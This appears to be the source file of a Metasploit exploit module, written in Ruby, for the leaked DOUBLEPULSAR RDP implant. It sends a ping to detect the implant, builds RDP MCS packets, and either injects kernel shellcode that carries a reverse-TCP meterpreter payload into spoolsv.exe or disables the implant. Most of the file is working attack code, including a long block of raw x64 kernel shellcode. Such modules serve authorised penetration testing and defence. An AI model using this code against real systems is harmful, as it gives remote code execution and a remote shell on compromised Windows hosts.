318 lines
11 KiB
Ruby
318 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::RDP
|
|
|
|
MAX_SHELLCODE_SIZE = 4096
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'RDP DOUBLEPULSAR Remote Code Execution',
|
|
'Description' => %q{
|
|
This module executes a Metasploit payload against the Equation Group's
|
|
DOUBLEPULSAR implant for RDP.
|
|
|
|
While this module primarily performs code execution against the implant,
|
|
the "Neutralize implant" target allows you to disable the implant.
|
|
},
|
|
'Author' => [
|
|
'Equation Group', # DOUBLEPULSAR implant
|
|
'Shadow Brokers', # Equation Group dump
|
|
'Luke Jennings', # DOPU analysis and detection
|
|
'wvu', # RDP DOPU analysis and module
|
|
'Tom Sellers', # RDP DOPU analysis
|
|
'Spencer McIntyre' # RDP DOPU analysis
|
|
],
|
|
'References' => [
|
|
['URL', 'https://github.com/countercept/doublepulsar-detection-script']
|
|
],
|
|
'DisclosureDate' => '2017-04-14', # Shadow Brokers leak
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X64,
|
|
'Privileged' => true,
|
|
'Payload' => {
|
|
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
|
|
'DisableNops' => true
|
|
},
|
|
'Targets' => [
|
|
['Execute payload (x64)',
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => 'thread',
|
|
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
|
|
}
|
|
],
|
|
['Neutralize implant',
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => nil # XXX: "Unset" generic payload
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'AKA' => ['DOUBLEPULSAR'],
|
|
'RelatedModules' => ['exploit/windows/smb/smb_doublepulsar_rce'],
|
|
'Stability' => [CRASH_OS_DOWN],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => []
|
|
}
|
|
))
|
|
|
|
register_advanced_options([
|
|
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
|
|
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
|
|
])
|
|
end
|
|
|
|
OPCODES = {
|
|
exec: 0x01,
|
|
ping: 0x02,
|
|
burn: 0x03
|
|
}.freeze
|
|
|
|
DOUBLEPULSAR_MAGIC = 0x19283744
|
|
|
|
# https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw
|
|
def parse_doublepulsar_ping(res)
|
|
return unless res && res.length == 288
|
|
|
|
magic, _size, major, minor, build = res.unpack('V5')
|
|
sp_major, _sp_minor, _suites, prod, arch = res[-8..-1].unpack('v3C2')
|
|
|
|
return unless magic == DOUBLEPULSAR_MAGIC
|
|
|
|
ver_str = "#{major}.#{minor}.#{build}"
|
|
sp_str = "SP#{sp_major}"
|
|
|
|
prod_str =
|
|
case prod
|
|
when 1
|
|
'Workstation'
|
|
when 2
|
|
'Domain Controller'
|
|
when 3
|
|
'Server'
|
|
end
|
|
|
|
arch_str =
|
|
case arch
|
|
when 1
|
|
'x86'
|
|
when 2
|
|
'x64'
|
|
end
|
|
|
|
"Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}"
|
|
end
|
|
|
|
def setup
|
|
super
|
|
|
|
rdp_connect
|
|
is_rdp, server_selected_protocol = rdp_check_protocol
|
|
|
|
fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp
|
|
|
|
case server_selected_protocol
|
|
when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX
|
|
fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA')
|
|
when RDPConstants::PROTOCOL_SSL
|
|
vprint_status('Swapping plain socket to SSL')
|
|
swap_sock_plain_to_ssl
|
|
end
|
|
rescue Rex::ConnectionError, RdpCommunicationError => e
|
|
fail_with(Failure::Disconnected, e.message)
|
|
end
|
|
|
|
def cleanup
|
|
rdp_disconnect
|
|
|
|
super
|
|
end
|
|
|
|
def check
|
|
print_status('Sending ping to DOUBLEPULSAR')
|
|
res = do_rdp_doublepulsar_pkt(OPCODES[:ping])
|
|
|
|
unless (info = parse_doublepulsar_ping(res))
|
|
print_error('DOUBLEPULSAR not detected or disabled')
|
|
return CheckCode::Safe
|
|
end
|
|
|
|
print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')
|
|
print_good("Target is #{info}")
|
|
CheckCode::Vulnerable
|
|
end
|
|
|
|
def exploit
|
|
if datastore['DefangedMode']
|
|
warning = <<~EOF
|
|
|
|
|
|
Are you SURE you want to execute code against a nation-state implant?
|
|
You MAY contaminate forensic evidence if there is an investigation.
|
|
|
|
Disable the DefangedMode option if you have authorization to proceed.
|
|
EOF
|
|
|
|
fail_with(Failure::BadConfig, warning)
|
|
end
|
|
|
|
# No ForceExploit because check is accurate
|
|
unless check == CheckCode::Vulnerable
|
|
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
|
|
end
|
|
|
|
case target.name
|
|
when 'Execute payload (x64)'
|
|
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
|
|
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
|
|
shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
|
|
vprint_status("Total shellcode length: #{shellcode.length} bytes")
|
|
|
|
print_status('Sending shellcode to DOUBLEPULSAR')
|
|
res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode)
|
|
when 'Neutralize implant'
|
|
return neutralize_implant
|
|
end
|
|
|
|
if res
|
|
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
|
|
end
|
|
|
|
print_good('Payload execution successful')
|
|
end
|
|
|
|
def neutralize_implant
|
|
print_status('Neutralizing DOUBLEPULSAR')
|
|
res = do_rdp_doublepulsar_pkt(OPCODES[:burn])
|
|
|
|
if res
|
|
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
|
|
end
|
|
|
|
print_good('Implant neutralization successful')
|
|
end
|
|
|
|
def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
|
|
rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body))
|
|
rescue Errno::ECONNRESET, RdpCommunicationError
|
|
nil
|
|
end
|
|
|
|
=begin
|
|
MULTIPOINT-COMMUNICATION-SERVICE T.125
|
|
DomainMCSPDU: channelJoinConfirm (15)
|
|
channelJoinConfirm
|
|
result: rt-domain-not-hierarchical (2)
|
|
initiator: 14120
|
|
requested: 6402
|
|
=end
|
|
def make_rdp_mcs_doublepulsar(opcode, body)
|
|
data = "\x3c" # channelJoinConfirm
|
|
data << [DOUBLEPULSAR_MAGIC].pack('V')
|
|
data << [opcode].pack('v')
|
|
|
|
if body
|
|
data << [body.length, body.length, 0].pack('V*')
|
|
data << body
|
|
end
|
|
|
|
build_data_tpdu(data)
|
|
end
|
|
|
|
# ring3 = user mode encoded payload
|
|
# proc_name = process to inject APC into
|
|
def make_kernel_user_payload(ring3, proc_name)
|
|
sc = make_kernel_shellcode(proc_name)
|
|
|
|
sc << [ring3.length].pack('S<')
|
|
sc << ring3
|
|
|
|
sc
|
|
end
|
|
|
|
def generate_process_hash(process)
|
|
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
|
|
proc_hash = 0
|
|
process << "\x00"
|
|
|
|
process.each_byte do |c|
|
|
proc_hash = ror(proc_hash, 13)
|
|
proc_hash += c
|
|
end
|
|
|
|
[proc_hash].pack('l<')
|
|
end
|
|
|
|
def ror(dword, bits)
|
|
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
|
|
end
|
|
|
|
def make_kernel_shellcode(proc_name)
|
|
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
|
|
# Length: 780 bytes
|
|
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \
|
|
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \
|
|
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \
|
|
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \
|
|
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \
|
|
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \
|
|
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \
|
|
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \
|
|
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \
|
|
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \
|
|
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \
|
|
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \
|
|
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
|
|
generate_process_hash(proc_name.upcase) +
|
|
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \
|
|
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \
|
|
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \
|
|
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \
|
|
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \
|
|
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \
|
|
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \
|
|
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \
|
|
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \
|
|
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \
|
|
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \
|
|
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \
|
|
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \
|
|
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \
|
|
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \
|
|
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \
|
|
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \
|
|
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \
|
|
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \
|
|
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \
|
|
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \
|
|
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \
|
|
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
|
|
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \
|
|
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \
|
|
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \
|
|
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \
|
|
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \
|
|
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \
|
|
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \
|
|
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \
|
|
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \
|
|
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \
|
|
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \
|
|
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \
|
|
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
|
|
end
|
|
|
|
def kernel_shellcode_size
|
|
make_kernel_shellcode('').length
|
|
end
|
|
|
|
end
|